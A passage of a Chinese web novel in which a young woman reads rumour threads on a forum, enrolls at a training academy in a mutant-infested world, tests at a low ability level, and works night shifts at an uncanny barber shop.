【3704L:赞同赞同,我真想知道怎么回事】
【3705L:楼上破坏队形,叉出去】
【3806L:不是说那几天有几个上夜班的出去了吗?怎么不找他们问一下】
【3865L:问个屁,有几个被啃得稀巴烂的早就挂了,另外一个还没醒的早就被雾都接走了】
【3875L:雾都接那人干嘛?】
【3956L:人家不是雾都研究院的吗,有钱人】
【3976L:有钱人还去第七区赚钱】
【3980L:我怎么听说是医生】
【4001L:楼主:搞研究的吧,雾都那边一直在研究蜂巢,前几天还从我们学校调了人手过去。】
周俊?
她握着鼠标的手一顿,立刻想起那个眼神狂热的男人。
他还活着?
那个疯子见过她软化的模样,一定察觉到她的异样了。
江赛有些心慌。
不管异能怎么样,这都是她从监狱里偷来的,要是那个疯子醒来告诉别人……
得找个时间去雾都一趟。
【4026L:研究就研究,还跑我们鹿河来】
【4035L:那人还没醒吧,说是身上被砍了几十下,被找到的时候气都快没了】
【4123L:牛逼,命真大】
【4236L:异能者,能不命大吗】
【4302L:异种砍的?】
【4335L:异种人哦,被那个老太婆砍的,她是异种人。】
【4368L:天!异种人不是都被赶到万象巢去了吗】
【4385L:最新消息,昨天我回老家问了我奶,我奶说牧场荒废后那个女人就不见了,后来有人在牧场边上看到过她。】
【4586L:我去我去,那个老太婆不会是那个女的吧】
【4612L:有可能,她崽被吃了后一直闹,结果牧场关了,那个吃人的猪都没被杀,后来要被送去第七粮仓,结果出发的时候莫名其妙死了。】
【4635L:妈妈呀,然后呢】
【4726L:为啥不杀,一只猪比人命还重要了】
【4756L:好像说那个猪是牧场最大的猪,打了特效激素的,杀不得。】
最新的回复停在这里,下一秒整个画面突然变成一片空白,屏幕上跳出一行小字:
该内容因违反社区安全规范,已被删除。
江赛一愣,看着屏幕跳回论坛首页。
被删了?
她又点进去,试着刷新了一下,先前置顶的那篇帖子已经消失了。
真的被删除了。
她摇了摇头,又在论坛上搜索了手环的使用方法。
明天就是学院开学的日子,她马上就能领取到心心念念的手环。
再从网吧出来的时候,周围大部分店铺已经关门,江赛顺着街道往回走。
店里关了灯,四周一片昏暗看着有些吓人,角落里那摞透明头套已经不在了,大概是芳姐搬回里屋了。
她没在意,回了自己的小隔间,躺在铁床上。
这小铁床比监狱里的大不了多少,睡着却十分舒服。
江赛枕着手臂,悠闲的躺着,没一会儿,闭上眼睛沉沉睡去。
咚——
咚——咚——
里屋的墙壁被敲得哐哐作响,江赛迷迷糊糊的睁开眼,她侧着脑袋,望了白花花的墙壁一眼。
正想起身,里面的动静突然停了。
这一安静,反倒让她清醒了。
江赛撑着床站起身,走到那木门边上,她没伸手打开,只弯下腰竖起耳朵听了听。
里面十分安静,只隐隐约约听见些哗啦的水声。
那里面有人?
江赛一愣,又想起芳姐说的话。
她在里面?
贴着墙壁听了会,刚才的声音没再出现,江赛坐回铁床边,却没了睡觉的心思。
这地方很不对劲,十分不对劲。
可别又是找了个什么不正常的工作。
自己身上伤还没好全,右手虽然拆了绷带,却依旧使不上大劲,要是再像第七区一样来个异种怪物,她实在招架不住。
记得学院都有住宿要求,江赛准备明天入学的时候去问问。
13. 开学
今天是学院开学的日子,天还没亮,江赛就踏上了前往鹿河学院的公交。
到学校的时候天已经大亮,相比报名那几日的冷清,今日学院格外热闹,大门口挤满了大包小包的新生。
她空荡荡两只手,在中间显得格外特别。
校门口竖着几个旗帜,穿着训练服的学长学姐在给新生引路,江赛刚刚走过去,就被其中一个学姐热情的拉住。
“怎么样?学妹,报道了吗?哪个宿舍的?”
“在哪里报道?”江赛问。
学姐指了指右边一堆人围起的圈子,“去那里报道。”
江赛跟着看去,嘴角抽了抽,道了谢就去排队。
好不容易排进去,身后一堆人推推搡搡,她被挤得前倾,双手用力撑在桌子上,才避免被挤出去。
“低头看一下屏幕,叫什么名字,住宿还是外宿?”
江赛低下头,只听见电子屏滴了一声。
“住宿。”
桌子后的学姐头也没抬,抽了张册子递给她,“看下表格,没问题签字,交了钱去那边领生活用品。”
“还要交钱?”江赛脸一僵,还没来得及追问就被涌上来的新生给挤了出去。
小册子上详细罗列了各个类型的宿舍特点和生活用品的收费项目。
四人间:100000
两人间:150000
两室一厅:250000
豪华公寓套间:350000
洗脸盆粉色:15000
洗脸盆蓝色:10000
洗脸盆……
这什么鬼东西?
一个盆子一万五?!
她在理发店累死累活干一个月,连宿舍都住不起?!
没眼再看这天价收费标准,她闭着眼睛把册子一折,又转身挤进人堆里。
这回她学聪明了,贴着桌子边往里钻,趁着前面的人刚签完字,一把把册子拍在学姐面前。
“学姐,换一个,我不住校。”
学姐抬头看了她一眼,没说话,从底下抽了本薄的递过来。
江赛接过去翻了翻。
确实薄,就几张纸。
她松了口气,挤出人群。
新册子上面是训练生的外宿规范,拿在手里感觉不到多少重量,像压在心底的巨石被弹飞,让人神清气爽。
好在手环不要钱,报完道,江赛拿着免费的手环,顺着人流往里走。
下午要进行等级测试,大多住宿生都回宿舍了。
作为众多外宿的一员,她跟着大部队逛完学校,最后找了个食堂用午饭。
窗口飘荡着香喷喷的热气,离正午还早,食堂却已经开始拥堵起来。
除了包子馒头,还有久违的面条,玉米,面饼……
虽不如上一世,但也让江赛目不暇接。
她一样一样看过去。
素包子300,肉包子500,一碗面1000……
她在心里默默算了笔账,外面包子铺一个素包子都要一千往上了。
总算是找到这个学校唯一一个让人满意的地方了。
江赛打了餐,端着食盘找了个角落坐下。
周围乱糟糟的,新生们三五成群,聊着宿舍,教官,还有刚才的天价盆子。
她一边吃着饭一边低头研究手环。
手环很小巧,细细的一条,轻轻划一下就能打开论坛首页的投影。
和网吧的界面不太一样,还多了两个版块,一个是鹿河学院的校内论坛,一个是世界训练生论坛。
江赛点开校内论坛,开始翻看长长的校规。
1,封闭式训练,无任务不得外出。
2,任务无借口,无条件执行。
……
校规看起来像军校的风格,校内论坛里,已经有人在吐槽新规了。
【为什么还是封闭式训练啊,不是说校规改了吗?我大老远跑鹿河读书的意义是什么?】
【15L:那你要去雾都读书。】
【23L:别来,我家在雾都,那儿最近乱的很,出门就遇到异种,所以我来鹿河逃难了】
【33L:鹿河学院什么时候改校规了?】
【35L:楼上是鹿河学院的毕业生吗?不知道鹿河几年前换校长了。】
【43L:我知道,鹿河现在的校长好像是中央军队的参谋长。】
【44L:这么厉害?】
【49L:那我们学校现在归中央政府管了?】
【56L:有什么用?这几年还不是倒数?钱倒是收的不少】
【78L:楼主报名前不看官网吗?改的是外宿生的校规。】
江赛愣了一下,中央政府?
之前查资料的时候,没听过这个名字。
她点进论坛主页,搜索中央政府。
基本信息很快跳跃出来。
基地早年由两个最高级政府管理,分别是联邦政府和中央政府,联邦政府在和研究院的合作下日益崛起。
联邦277年世界爆发异种生物之后,研究院联合联邦政府推出异变药剂并实验成功。
中央政府就在提出创立中央学院后,便逐渐退出政治舞台,中央军队大部分也远离基地驻守罩外。
信息很简短,只大概描述了一点,江赛很快读完,盯着屏幕看了会,又搜索中央政府的官网。
没想到页面在跳转后,直接进入了联邦政府的首页。
首页上是各地区的管理和改革政策,她早已经大致浏览过了,和之前变化不大。
江赛皱着眉头往下滑,在最底下的角落里看到了中央政府的官网链接。
她顺着链接点进去,页面上只有个巨大的中央政府标识,下面附带了几张基地外的军队驻守图片,除此之外,什么都没有了。
没有那些繁琐紧密的文字,甚至都不需要往下滑,只有简短的一页。
她点开图片,正想放大,头顶传来清脆的女声。
“这里有人吗?”
江赛抬头望去。
是个长相清秀的女孩子,一头黑发柔软湿润。
她歪着脑袋,一双眼睛弯弯的看着她。
“我可以坐这里吗?”
江赛摇摇头,又点点头,咽下嘴里的包子,“坐吧,没人。”
旁边坐了人,江赛干脆收了手环,专心致志的吃饭。
香啊,实在是太香了。
这学校的伙食就是好,在这样的世界还能每天享受这么美味的食物,死也无憾了。
“我叫崔崇宁,你呢?”
“江赛。”
“小江,一会有等级测试,我们一起去吗?”
江赛侧头看了她一眼。
对方正用一张无法让人拒绝的笑脸望着她。
直到江赛点头,她才收回视线,快速喝完了碗里的白粥,撑着脑袋看着不远处。
四周的人渐渐散去,她低着头在崔崇宁的注视下,不紧不慢的干完一整盘食物。
两人出了食堂,跟着人流往东走。
等级测试在一楼大厅,两人站在大楼外,通过大门远远望去,就能看见攒动的人头。
鹿河的等级测试是完全公开的,自己几斤几两边上的人都能看的清清楚楚。
这是今年新改的校规。
江赛显然还不知道这一点。
学院校规实在太长了,五十多页校规,八千多条,她根本没心思一个一个翻看。
大厅的人也实在多,测试区被团团围住,两人被挤在角落,连里面的样子的看不清楚,只能看见个巨大的测试仪直立在圈中心,两米多高,像个透明的柱子,里面有什么东西在转。
照这样下去,天黑了她都不一定能轮的到她。
她晚上还要上班呢,哪有那么多时间耽误?
江赛转头,身边的崔崇宁也正侧头看着她。
两人对视一眼,忽然默契的往圈里冲。
崔崇宁仗着体型小,贴着人缝往里钻,江赛紧跟其后。
好不容易要挤到前排,一只手按在江赛肩上。
“排队。”
她抬头一看,是个高年级的学长,胸前别着灰色的徽章,正面无表情地看着她。
江赛张了张嘴,还没来得及说话,前面突然传来一声尖叫。
她转头看去,崔崇宁被人群挤得踉跄,一脚踩空,整个人往前栽。
江赛眼疾手快,一把拽住她。
伸出的右手因为突然的拉力,发出咔嚓一声,江赛吃痛,跟着倒去。
两人一前一后,摔出队伍。
测试仪旁边,教官不悦的眼神已经锁定地上两人。
“挤什么?不知道排队吗?”
江赛没说话,揉着手腕从地上爬起来。
还没站稳,右边的学长仁慈地对着两人招招手,“过来测试。”
测试仪立在圈中央,透明的大柱子底下围着三个圆形的踏板,像个放大的跳舞机。
江赛拍拍崔崇宁,示意她先上去,自己等下一个。
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恰巧中间的测试仪空了,旁边的学长看了她一眼,示意她过去。
江赛跟着走上前,她步子轻松,速度又快,不一会就站上踏板。
她还在研究脚下的踏板,旁边的学长已经拿起挂在柱子上的手铐,“咔嗒”一声扣在她手腕上。
手铐上还带着上一个人的余温,金属贴着皮肤。
还没等她反应过来,黑色的头盔罩住脑袋,遮住了大半张脸。
周围的声音一下子消失了。
这头盔隔音倒是不错。
正想着,大脑忽然传来一记刺痛。
刺痛只出现了一瞬间,肩膀忽然被人轻轻拍了一下,江赛低下脑袋仍由学长给她取下头盔。
刚刚的刺痛仿佛是错觉,如果不是走下踏板的脚步控制不住的虚浮,她真的会认为自己在做梦。
江赛站在一边等结果,她转头望了望隔壁的崔崇宁,又开始打量眼前的测试仪。
“嗯?”正摆弄仪器的老师发出一声疑问。
等边上的学长走过去,两人低声言语。过了一会,学长朝她挥手,示意她过去。
“同学,再测一次吧。”
那边的崔崇宁刚摘下头盔,就看见江赛又站了回去。
她不是测完了吗?
崔崇宁疑惑,心下有些不安,还没等她想完,自己前面的仪器就亮了起来。
沉重的黑色在大屏上亮起,照映着她整个人。
仪器前的女生一下就愣住了,整个人如坠冰窖。
她僵着脸,抬手接过学长递过来的黑色徽章。
异能等级,从E到A,等级越高颜色越白。
她被分到了C班,这是意料之中的事情,因为学院最低只有C班。
可是她的异能却只有D级的水平。
等崔崇宁恍惚地站回队伍的时候,江赛已经第三次站上测试仪。
这下,连边上的负责老师都开始心跳加速。
等级越高的人,测试时间越久,他们这款测试仪只能测到A级。
这个学生来来回回测了几次,等了好久仪器确没有测出来,难道她是A级之上?
难道是测试器坏了?可这是新换的。
联邦不乏有S级的异能者,听说他们的等级测试是透明色的。
江赛也激动了。
她想起自己鸡肋的液化异能。
这机器不会把液化的异能给测出来吧?
她要暴露了?
腿有点软了。
偷盗基因药剂是死罪,江赛下了踏板,靠着柱子,开始琢磨逃跑路线。
负责老师也开始琢磨,自己上班第一天遇到天才的可能性。
正准备让人去叫院长,头顶上的的仪器突然显示检测成功。
紧接着屏幕上的光亮让在场的人一愣。
黑色,浓密的黑色。
甚至比崔崇宁的还黑上几分。
“比D级还低哈哈哈哈,这不就是传说中的E吗?”
“我看是F吧,哈哈哈。”
“还好咱们学院最低只有C班,不然这俩奇葩就要分开了。”
“还拼命往前挤,生怕测不出自己F级的实力吗?”
四周的嘲讽像汹浪扑来,崔崇宁站在人群里,看着江赛的方向,脸上看不出表情。
江赛反倒没在意,脸上还多了丝笑容。
还好还好,有结果就行。
她抬手,悠然地接过学长递过来的徽章。
“已经很厉害了。”临走的时候,学长对着她微微一笑,似乎是在安慰。
江赛有些意外,对着这个充满善意的学长道了声谢。
人群里已经没看见崔崇宁的身影,她干脆收好徽章,挤出人群。
做完登记测试就正式分好班了,江赛低头查看手环上的流程表。
她现在要去物资站领训练服。
每个班级的训练服都不一样,物资站排了三条队伍。
C班的队伍不长,江赛刚刚站进队伍没多久,就轮到她了。
柜台后坐了个高年级的学姐,背后堆积着成堆的衣服。
“名字?”
江赛报了名字。
那人低头在名单上找了一圈,拿笔划了一下,最后转身从后面抱出一摞衣服往柜台上一放。
“作训服两套,常服两套,礼服一套,腰带两条,军靴两双。”
那人把衣服推过来,又多看了她一眼,“尺码不合适来换,别自己剪。”
江赛点点头,揉了揉右手,搬起衣服往回走。
14. 上课第一天
江赛搬着衣服回理发店,正好撞上出门送客的芳姐。
“呦?”芳姐往后退了一步,还顺手帮她掀开门帘。
“我说你这一天干嘛去了,敢情是去买衣服了。”
等江赛进了店,她放下帘子跟在身后,“让我看看买了些什么?”
芳姐说完,目光落在衣服上的标识,笑容突然顿住了。
她没再说话,就那么盯着那堆衣服看。
江赛刚把衣服放下,一抬头,正对上芳姐的眼睛。
“芳姐?”江赛轻轻喊了声,对方如梦初醒的看向她。
“你是训练生?”她问。
江赛:“嗯。”
芳姐没说话,盯着她看了几秒,忽然笑起来,一巴掌拍在她肩上。
“哈哈哈,好啊,我这儿小理发店还招了个训练生做工。”
她笑完又问,“今天去报道了?”
江赛又点点头。
“鹿河学院的学费不低呢。”芳姐说这话的时候,眼神在她身上转了一圈。
这小丫头,比她想象中的有钱。
倒是她想多了,难道只是哪个富家子女出来体验生活?
等江赛回房间试完衣服出来,芳姐抬头看了一眼,立刻拍着手叫好。
“这训练学校的衣服就是不一样,穿上跟换了个人似的!”
深灰色的作战服,板板正正,把那个瘦小的身板一下子撑起来了。
之前那身破衣服换掉,脸上虽然还有伤,但至少看起来像正经学生了。
就是那头乱糟糟的头发,堆在脑袋顶上让人感觉实在不舒服。
“明天上课了吧?你这头发还不好好捣拾一下。”
她早就想说了。
这小丫头年纪不大,正是青春正好的时候,也不知道收拾一下自己。
这个样子在她的理发店上班,不知道的还以为是她来逃难的亲戚。
“去水池那儿坐着。”她撸起袖子,从旁边的架子上取了张毛巾。
“我非得把你这脑袋上的鸡窝收拾一下。”
芳姐压着她洗了头,又把她按在椅子上。
镜子里的人头发都湿透了,贴在头皮上,露出两只耳朵。
作训服穿在身上,领口被水洇湿了一小块。
江赛看着镜子里的自己,觉得有些陌生。
这短的不能再短的头发,有什么好剪的?
她正想说话,却看见芳姐已经拿起剪刀。
镜子里的人,头发一绺一绺被挑起,又落下,剪刀咔嚓咔嚓响,碎发掉在肩上、腿上。
她坐着没动,只觉得有点困。
快剪完的时候,芳姐突然低下头,手里的剪刀没停,声音却放轻了。
“店里那个按摩,要不要试试?”
江赛愣了一下:“什么按摩?”
“就那个头套。”芳姐从镜子里看她一眼,“你不是见过吗?客人躺下,再套上,过十五分钟。舒服得很。”
江赛没说话。
那堆透明头套?
她想起昨天那些莫名其妙的规则。
那头套邪门的很。
芳姐看她不说话,笑了笑,手上继续剪:“怕什么?又不收你钱。”
“……不用了。”江赛说。
芳姐没再劝。
剪完头发,江赛站起身,看着镜子里变了个样子的人,忍不住凑近摸了摸头发。
原本到耳尖的头发被修短了一些,乖顺的垂下来,露出耳垂。
配上她纯良的长相,看起来像个十足的三好学生。
“嗯!这样看起来才是训练生的模样!!”
芳姐显然对自己的杰作十分满意,拉着她在门口逛了几圈,最后搬了把椅子坐到街边上,开始招客。
这举动还真来了不少人,都是冲着江赛身上的训练服来的。
原本空旷的店里一下子忙起来。
芳姐负责剪发,江赛负责洗头,两人配合着,时不时给店里的按摩打个广告。
“要不要试试我们店里这个头套按摩?做完脑子特别清楚,头发长得也快。”
有客人犹豫了一下,点了头。
江赛放下手里的活,去拿头套。
头套看着大,拿在手里却轻飘飘的。
昨天已经看过很多遍流程,这会儿她熟练地给客人梳好头发,让人闭上眼睛。
头套带上后,慢慢缩紧,不一会就贴住了头皮。
江赛盯着头套。
头套里,那片黑发似乎轻轻蠕动了一下。
“看什么呢?”
肩膀被人顶了一下。
她侧头,芳姐不知什么时候站到身边,正皱着眉头看她。
“说了对眼睛不好,还看。”
“忘记了。”
芳姐白了她一眼,收完尾,让她送客人出去,自己接了按摩的工作。
江赛把人送出门,转身往回走。
旁边修补摊的灯还亮着,一个人弯着腰在收拾地上的工具。
江赛瞥了一眼,脚步顿住。
崔崇宁?
她换了身旧衣服,腰间围着条深蓝色围裙,头发全盘进帽子里,露出后颈一截白。
崔崇宁显然也看到了她。
起身的动作微微一愣,然后皱了皱眉头,转身钻进摊子里头,再也没出来。
江赛站了两秒,也往回走。
店里忙完那波客人,天已经黑透了。芳姐拎起她那个小包,临走时回头说了一句,“晚上机灵点。”
门帘一落,店里就剩她一个人。
江赛把门口的灯牌点亮,退回到店里。边上不少铺子已经关了门,整条街安静下来,只剩修补摊那边还亮着灯。
崔崇宁蹲在地上,抡着锤子在砸什么,“当当当”的声响一下一下传过来。
江赛看了两眼,收回目光。
店里现在没客人,她把东西收拾好,靠在桌子上,低头研究手环。
第七区的肉山怪物,是她接触的第一个异种。
训练生论坛里,大多是各个学院的八卦。
谁和谁对练打起来了,哪个教官骂人最凶,食堂哪个窗口给的肉多,正经的东西没几条。
想看异种科普,她还是得上研究院官网。
她点进去翻了翻,发现除了研究院,中央政府也在官网上挂了些东西。
面对异种时的实战技巧,图文并茂,写得比研究院的科普实在。
她将中央官网上的科普仔仔细细看了遍,又开始翻校园论坛,翻着翻着,手指突然顿住。
一张照片。
有点糊,像是从远处拍的。
背景是辆彩色公交车。
车窗边坐着个人,手搭在窗框上,胳膊上一道道血痕还没干透,额头破了道口子,脸上糊着灰和干涸的血迹。
衣服破得不成样子,领口,袖口全是豁口,脏得看不出原本的颜色。
那人微低着头,龇着牙,不知道是疼还是在骂人。
江赛盯着那张脸看了三秒。
这人她认得。
这不是她自己吗?!
她点开帖子,底下已经有些热度了。
【家人们,谁懂啊,碰见妖怪了。】
{附图}
【2L:这是人还是异种?】
【15L:楼主你在哪拍的】
【36L:笑死,这造型比我上次喝醉了摔的还惨】
【65L:心疼三秒,这得被打成什么样。】
【77L:这就把别人照片放出来了?不太好吧。】
【85L:楼主发错地方了吧?】
江赛面无表情的往下滑,正准备退出帖子,瞟到照片里自己一身狼狈的模样,又忍不住笑了下。
还真有点吓人。
不过,比起她在牧场里小怪物模样应该要好些。
可惜没有相机,不然,她也要拍几张照片留作纪念。
身后的门帘突然响了一下。
江赛转头看去。
门口进来个男人,穿着灰扑扑的工服,袖口卷到小臂,露出一截晒得发黑的皮肤。
他看见江赛,愣了一下,然后笑了,“换人了?之前那小伙子呢?”
“您剪头吗?”江赛问。
“不剪头不剪头。”那人摆摆手,走到躺椅边坐下,把手里拎着的安全帽往地下一放。“再给我试试那个按摩吧,顺便洗个头。”
江赛点点头,抬手取了毛巾。
那人躺下,闭上眼睛,嘴里没停,“上次试过一次,回去睡得特别舒服。今天半夜才下工,想着顺便过来看看。”
江赛开了水,一边冲头发一边问,“工地上很累吗?”
“累倒是不累,”他说,“就是最近帮工的人少了,活儿都压着,就干得久些。
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”
江赛没再问,打了泡沫开始搓。
搓着搓着,她手指顿了顿。
这工人的脑袋上,头皮是红的,一层白花花的东西糊在上面,像皮屑,又不像。
她低头看了看手指,没说话,继续搓。
过了一会儿,她问,“叔,你最近头发痒吗?”
“这两天有点。”那人说,“可能是天热的,我们干工地的总要出些汗。”
江赛沉默了两秒,“没事,我给您洗干净,涂点药。您这应该是发炎了。”
“行,麻烦你了小姑娘。”
洗完头,江赛拿毛巾给他擦了擦,又用吹风机吹干。
那人一直没停嘴,问她叫什么名字,是不是新来的,在这儿干多久了。
江赛一边回答,一边去角落里拿了头套。
头套带上的时候,那人看了她一眼,没说话了,闭上眼睛靠在椅子上,呼吸均匀的像是睡着了。
店里安静下来,只剩墙上的钟在走。
十五分钟到了。
江赛走过去取头套,手刚碰到,男人就睁开眼,直挺挺坐了起来。
“好了?”他揉了揉后颈,站起来走到镜子前,伸了个懒腰,“你们店里这东西真不错,做完瞬间头皮就舒服了。”
说完,还没等江赛说话,他抬手拍了拍镜子,从兜里掏出一把金币往桌上一放。
“够了吧?”
江赛看了一眼,点点头,“我送您……”
话到一半,他已经拎起安全帽,急急忙忙的往外走了。
“上班,要迟到了!我先走了哈,下次再来!”
门帘一落,店里又安静下来。
江赛望着门口站着,过了会儿才走过去收拾。
下半夜没再上客人。
她趴在桌子上,眯了一会儿。
再睁眼的时候,天还没亮。
她直起身,揉了揉脖子,站起来把店里的灯关了,又检查了一遍门窗。
巷子里还安静着,早点摊子刚支起来,热气和白烟往上飘。
她看了一眼,直接往公交的方向走。
外面的包子太贵了,吃不起。
她现在去学院,还能赶在上课前去食堂享受一顿。
三个等级班是分开上课的。开学第一节课,C班统一上的文化课。
江赛赶到的时候,教室里面已经坐满了一片,崔崇宁坐在第一排。
她头也没抬,仿佛没看见江赛。
讲台前站了个老头,正低头搬弄课件,听见声响抬头看向她。
江赛撑着门,对着他不好意思的笑了笑。
这个世界的科技并没有发达多少,至少在她上个世界的发展速度看来,几百年后不应该是这样的。
教室里的器材甚至比上个世界更加落后。
那老头一身洗的发白的衬衫,戴着一副黑框眼镜,眉头皱起,手指尖还残留着粉灰。
让她有种回到大学时代的感觉。
“对不起啊老师,我睡过头了。”江赛走过去,先弯腰道歉。
陈山红看了眼她衣服上的胸牌,冷哼一声。
“F级。”
江赛:“……”
“等级这么低还不认真听课,难道你以为文化课就没有作用吗?”
陈山红越想越气,两颗眼珠子怒目瞪着江赛。
他今天心情很不好。
早上,校长给他发信息说原料集团捕杀到一只超A级的异种。
对于他们这些研究员来说,活着的异种固然最好,但超A级的异种也平时也很难见到。
既便死了也值得他看上一看。
可是,在他匆匆忙忙赶去原料集团时,才知道那异种居然已经被送走了。
没想到雾都的人,手居然如此快。
陈山红气的牙痒痒,只能带着一肚子怒气回了学校。
江赛到教室的时候刚好卡上点,正撞上他的怒火。
“你怎么不明天再来?”
“明天还有您的课吗?”江赛问。
她记得明天上午的理论课不是野外生存吗?
陈山红一噎,指着她骂,“明天有我的课你就不来了吗?!后天呢?大后天呢?你是不是打算等毕业了再来?!”
江赛愣了一下,没说话。
陈山红指着门口,“你你你,你给我站后面去!这节课站着听!”
15. 实训课
说是文化课,其实就是针对讲解各个异种。
训练生将来都是要和异种打交道的,他们的文化不只需要了解这些。
只有知道了异种的弱点,才能有更大的几率战胜他。
并不是所有人都有A级的天赋的,更何况这些C班的学生。
陈山红讲的很细致,讲到有外形相似的异种时,他还会调出两张图片对比。
“有的时候外形看起来一模一样的两个生物,可能只是毛发或瞳孔有轻微的不一样,他们的致命点就不一样。”
刚开始的时候,江赛听得也很认真,甚至还调出手环,像模像样的记下笔记。
可是,这一上午的理论课实在是太难熬了,讲到下半节的时候,江赛已经靠着墙壁昏昏欲睡。
她困得快栽到地上的时候,班上有同学偷偷推了她一把。
江赛一个激灵,抬起头,正对上陈山红瞪过来的眼睛。
一个上午下来,她被推了三四回。
下课铃响,陈山红抱起书,走到门口,回头瞪了她一眼,才急匆匆走了。
“谢谢。”江赛擦了擦嘴角,和前座的两个女生道谢。
“没事没事。”左边的大眼睛女生摆摆手,“你也太牛了,陈老头的课也敢睡。”
她边上的女生瞪了她一眼,“你不也睡着了吗?”
“没有。”陈寂嘴硬,“我只是在低头思考。”
顾禾没理她,嘴角弯了一下,“我叫顾禾,她是陈寂。”
“江赛。”
陈寂凑过来:“你哪个班的?”
“C2班。”
“巧了,我们也是。”陈寂眼睛一亮,“去食堂吗?一起?”
江赛点点头。
三人收拾好东西,往外走。
走廊上挤满了人,都是赶着去吃饭的。
陈寂一边走一边说个不停,顾禾偶尔应两句,江赛听着,没怎么开口。
她脑子里还回荡着陈山红讲课的声音。
大概是听傻了。
食堂里已经排起了长队。
她们端着盘子走过去,打完饭找了个角落坐下。
陈寂咬了口包子,含糊不清地说,“下午是实训,听说要跑步。”
“跑步而已。”顾禾说。
C班的人很是兴奋,吃饭的时候都是聚集在一起。
等了一上午,下午就是梦寐求的训练课。
“诶,你们知道吗?A班今天上午就是模拟训练,直接和异种动手了,就我们还要坐在教室听陈老头讲课。”
“那有什么办法?谁让我们是c级。”
“等会儿下午就是体训了,急什么。”
模拟课几乎是每个训练生的梦想,他们迫不及待想要和异种对战。
即便是c级,在学院之外,依旧受到许多人们的追捧。
对于一个普通家庭来说,出一个训练生,不亚于寒窗苦读数年高中的排场。
大多数人都很兴奋,匆匆忙忙吃完饭就往训练场跑。
江赛拒绝了陈寂热情的邀请,在学院里闲逛。
训练场内有二年级的学长学姐在对练,还有些新生组团缩在角落里跟练。
江赛扒着铁栏看了会,学院很大,她还没完全没清楚地形。
下午,江赛特意提前到了训练场。
结果发现C2班的人已经站好了,她还是最后一个。
陈寂在队伍里和她挥手。
她和教官一前一后到的。
孔丘看了眼那个短发女生,觉得眼熟。
直到江赛站进队伍里转头面对着他时,他才想起来了。
这不是那天,那个小难民吗?
她什么情况?
和一众红光满面的训练生站在一起,江赛嘴唇发白,眼周乌青,毫无精神。
怎么跟被吸干了一样。
孔丘不解,清了清嗓子,假装严肃的大声说,“我是C2班的负责人,你们的训练的教官,孔丘。”
“接下来的四年,你们在C2班的一天,所有的事情都由我来负责,不管是院内还是院外,有事情都可以来找我。”
“当然了。”孔丘笑了笑,“如果你们能升到B班或者A班,就不要来烦我了。”
基础异能等级或许不能提升,但学院的等级分班是根据综合实力。
每年的春考就是一次综合实力的考察,除了异能等级,更重要的是实战能力和素质。
春考结束后都会根据排名重新分班。
这些小东西,不知道有多少有机会进入A班。
“今天算你们第一节课,先热身一下。”他挥挥手,“先去跑一跑,战斗要学的第一节课就是逃跑。”
这话一出,下面几个男生立刻皱眉,他们是来训练的,以后可是要保护基地和异种战斗的,谁要逃跑啊?
还不快去!!”孔丘一吼,大伙立刻转头朝远处冲去。
刚刚还不情愿的几个男生冲在最前面,恨不得争第一。
江赛落在后面,不紧不慢的跑着,这旧式操场让她有种回到高中体测的感觉。
教官没说跑多久,她不想把体力全部浪费在速度上。
孔丘找了个阴凉的位置坐下,目光扫视一圈,又时不时放在江赛身上。
这小乞丐不会晕了吧。
半个月不见,她做贼去了?
他突然想起那天小乞丐来交学费时用的铁盒,那铁盒的样子看着有些眼熟。
他回去还特意想了想,始终记不起是在哪里见过。
那铁盒像原料集团的东西,只是上边没有原料集团的标识。
不知道为什么,他总感觉这个一脸虚脱样的学生不会干好事。
好在现在开学了,养养还能用。
江赛保持着一样的速度,不紧不慢的跟在队伍中后方,渐渐的不知道跑了多久,身边的人速度一个一个慢下来。
那边孔丘还没有叫停的意思,他悠闲的坐在树下乘凉,还不知道从哪儿弄了瓶冰水。
“我……我跑不动了,我,要跑死了。”陈寂脚步一顿,彻底摆烂,喘着粗气,捂着肚子慢慢望前走。
她不跑了。
顾禾在她身边,也累的接不上气,却还是伸手拉她。
“快走啊,孔教官看着呢。”
陈寂挥手想要挣脱,“我真的,跑不动了,你看我们跑了多久了。”
恰巧此时江赛从旁边路过,顾禾看着江赛,鼓励好友。
“你看,江赛都超我们几圈了,我们也要快点。”
“可拉倒吧,我真的真的跑不动了。”陈寂挥手,一边走一边看着江赛的背影。
半响,突然说。
“你别看她在跑,其实也没多快。”
见好友疑惑的看着自己,陈寂咧嘴一笑。
“你信不信我走起来比她跑还快?”
“你瞧好了!”
不等顾禾回话,陈寂捏拳放在腰侧,两个手臂用力绷紧开始摆动,整个人以一种极其紧绷的姿态飞快朝前走去。
那速度竟然真的不比江赛慢。
她这怪异的姿势吸引了一众目光,陈寂丝毫不觉得尴尬,脸上洋溢着僵硬又灿烂的笑容。
经过江赛旁边时,骄傲的挥了挥手。
时间一点一点过去,原本精神抖擞的一众人像打焉了的茄子。
一个个毫无生气,摇头晃脑的朝前跑,尤其是最开始冲在前面的几个男生,此刻脸都黑了。
恨不得倒在地上晕死过去,他们从大太阳跑到天黑,别说腿了,手都要摆断了。
陈寂的腿也僵了,不只是腿,她整个人都僵了。
脸上的笑容都放不下来,她也后悔了,和好友商量着要装晕。
“停!”
这话一出,众人立刻停下脚步,往地上一倒,坐的坐躺的躺。
整个偌大的训练场上只有三个人还站着。
江赛弯腰撑着腿,看了看后面瘫倒一片的同学。
崔崇宁腿在打颤,她扶着边上的训练器械,不肯坐下。
孔丘早就注意到她们两个。
这两人胸前挂着颜色最浓的胸牌,一个脸色苍白,一个看起来文文弱弱。
没想到是坚持的最久的。
虽然后面速度慢了一些,但好歹没有停下。
“这么多人里,有C级有D级,男生也不少,最后还不如人家两个女孩子。”
孔丘摇摇头,一脸失望。
“老师!”陈寂瘫倒在地上,举手大声说,“女孩子怎么了?什么叫还不如两个女孩子?”
孔丘看着这个笑容灿烂,眼神不悦的女孩子,一愣。
“我不是那个意思。”孔丘摆摆手,意识到自己说错话了,吹响口哨。
“好了好了,你们回去吧,今天的训练结束了。”
“回去好好休息,明天继续!”
崔崇宁看见江赛坐下,才扶着墙慢慢朝宿舍走去。
……
C班连着跑了半个月的步。
他们的激情彻底磨灭了,人也老实了不少。
江赛也老实了。
她上午听陈山红讲课,下午在烈日下狂奔,晚上再去理发店守夜。
这样一套下来,她实在累的没力气想别的东西。
最近夜班来按摩的客人越来越多,她有的
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时候甚至眯不了一会儿。
直到半个月后的某天下午,孔丘提前吹完哨。
“今天开始,换项目了。”
陈寂瘫在地上,有气无力地问,“换什么?”
“分组对练,每两人一组,互殴,把对方打趴下为止。”
